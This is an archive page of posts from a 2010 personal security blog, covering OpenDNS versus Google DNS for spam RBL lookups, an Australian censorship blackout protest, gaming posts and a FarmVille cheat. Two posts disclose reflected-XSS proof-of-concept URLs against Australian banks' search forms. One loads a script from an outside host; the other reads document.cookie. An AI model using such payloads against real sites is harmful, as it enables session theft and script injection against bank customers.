Eldar Marcussen: January 2010 Archives

The reason behind the change is a simple one. They do not (currently) fudge NXDOMAIN records like openDNS do. This has a tendency to break RBL queries, openDNS "solves" this problem by making exceptions for known RBLs. As you can see from this OLD discussion on the openDNS forums this has been their policy for a long time.

The default RBL services used by the movable type spamlookup plugin are bsb.spamlookup.net and sc.surbl.org. I also use additional lookups like stopforumspam, spamhaus and others. As a result I was constantly experiencing false positives for comments and trackbacks. Changing to google solved all these problems. If you are using niche RBLs and openDNS I would recommend that you test these.

[OpenDNS]

$ host nopes.grrrr.bsb.spamlookup.net 208.67.222.222
nopes.grrrr.bsb.spamlookup.net	A	208.69.32.132
 !!! nopes.grrrr.bsb.spamlookup.net A record has zero ttl

$ host nopes.grrrr.bsb.empty.us 208.67.222.222
nopes.grrrr.bsb.empty.us	A	208.69.32.132
 !!! nopes.grrrr.bsb.empty.us A record has zero ttl

FAIL!

[Google]

$ host nopes.grrrr.bsb.spamlookup.net 8.8.8.8
nopes.grrrr.bsb.spamlookup.net does not exist at google-public-dns-a.google.com, try again

$ host nopes.grrrr.bsb.empty.us 8.8.8.8
nopes.grrrr.bsb.empty.us does not exist at google-public-dns-a.google.com, try again

WINNAR!

I have taken the liberty of reporting these two to openDNS as they are common for MT users, however there are several other RBLs that I use which aren't covered by openDNS. By changing to google public DNS I don't have to put up with false positives. It also saves me the hassle of having to verify and "fix" RBLs every time I make changes.

If you want to make the change you can find the details at: http://code.google.com/speed/public-dns/

As you may or may not have noticed, I have blacked out my blog. It's an hour before midnight, but I'd like to get some sleep so I started a little early. If you haven't blacked out your website or blog yet then I recommend that you do it now.

http://www.internetblackout.com.au/websites/

For my second wintereenmas article I look at game hacking through number theory. This is a huge subject, even without hacking, but I focused on two of the most common techniques that I have been able put to extensive use. You can read the full article here.

Bank of Queensland had an XSS in their search form;

The link used for this proof of concept is http://search.boq.com.au/search/search.cgi?query_and=&query_phrase=&query_or=&query_not=&sort=title%22%3Ejuju%3Cscript%20src=%27http://justanotherhacker.com/x.js%27%3E&scope=&meta_t=&meta_a=&meta_s=&meta_f_sand=&meta_d1day=&meta_d1month=&meta_d1year=&meta_d2day=&meta_d2month=&meta_d2year=&collection=boq&form=advanced

I found a XSS vulnerability in ING's australian website;
The proof of concept url used to illustrate the vulnerability is: http://www.ing.com.au/personal/Search.aspx?keyword=%27;alert(document.cookie);test=%27

For my first wintereenmas based post I have decided to share a farmville cheat. It takes advantage of a timing overlap when visiting a neighbours farm. After you click to visit a neighbours farm, but before the help a friend window appears click to visit the same neighbour again. Again, before the help a friend window appears click to visit the neighbours farm. Keep visiting the neighbour before the window appears. It will load overlapping help a friend windows which you can then repeatedly click for endless, instant amounts of 5xp and 20 gold. Granted the gold isn't that much, but the xp quickly adds up.

How the cheat works should be made quite clear in this video I recorded on a new account (you have to complete the tutorial for this to work);

The cheat no longer works as displayed in the video. If you log back into the account you will be level 0. Publishing the links for leveling may let the neighbours of the cheating farmer get the leveling bonus. Gifting may also work. I haven't bothered testing. You can keep going indefinitely, I just stopped because I hit a lag spike.

It is that time of the year again and as a member of the nintendo generation I am planning to celebrate wintereenmas with some solid gaming sessions. I will also be posting some game related articles on the blog. However as I am participating in the internet blackout during the week of wintereenmas I have decided to move the gaming extravaganza forward. So over the next week I will be making early wintereenmas posts and spreading wintereenmas cheers.

I'll start by plugging these websites;

http://blog.oarsum.com/
A gaming oriented blog run by a former colleague and friend. Topics range from board games to online games.

http://www.leaguecraft.com/
League of Legends website with detailed guides, hero, items and recipe info and more.

It's a new year, a new decade and already it's had it's ups and downs. I still haven't completed my redesign, but it's coming together slowly and should be ready soon.

The Australian government's mandatory censorship is still a big concern for me. The biggest activist event this month is the Australian internet blackout protest and Australia day protest parties. The January 30th capital city protests were moved to Saturday March 6th (As noted on the facebook event page http://www.facebook.com/event.php?eid=200213317223).

I strongly encourage you to participate in the internet blackout and other protests. For more details on the internet blackout, go to http://www.internetblackout.com.au/